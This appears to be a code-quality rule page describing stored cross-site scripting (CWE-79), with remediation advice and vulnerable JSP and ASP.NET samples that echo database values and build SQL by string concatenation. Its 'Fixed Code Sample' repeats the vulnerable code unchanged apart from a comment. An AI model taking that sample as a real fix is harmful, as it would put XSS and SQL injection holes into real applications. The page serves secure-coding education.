Rule Definition
User Input Data entering a web application through an untrusted source and resulting for executing of untrusted code. Only when the untrusted source is a database or any other back-end datastore. Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking." In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

Remediation
Use a standard vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, etc. Encoding should be performed whenever user input is included in the web page. Few cases, Encoding has to be replaced with Input validation. Secure input handling has to take into account which context of a page the user input is inserted into. Best approach of remediation is : Performing secure input handling in both client-side and server-side code. Safely validating untrusted HTML input

Violation Code Sample

1) JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>

Employee Name: <%= name %>

2) ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

3) Dot Net example
string str = System.IO.File.ReadAllText(filePath);
return Content(str);

Fixed Code Sample

<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>

... //Input validation is mandatory (Use Authorized Santization)

Employee Name: <%= name %>

http://cwe.mitre.org/data/definitions/79.html CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') http://cwe.mitre.org/data/definitions/79.html Open Web Application Security Project (OWASP) http://www.owasp.org/index.php/Top_10_2007 CISQ rule: ASCSM-CWE-79. 2011 Top 25 - Insecure Interaction Between Components OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS) OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS) OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)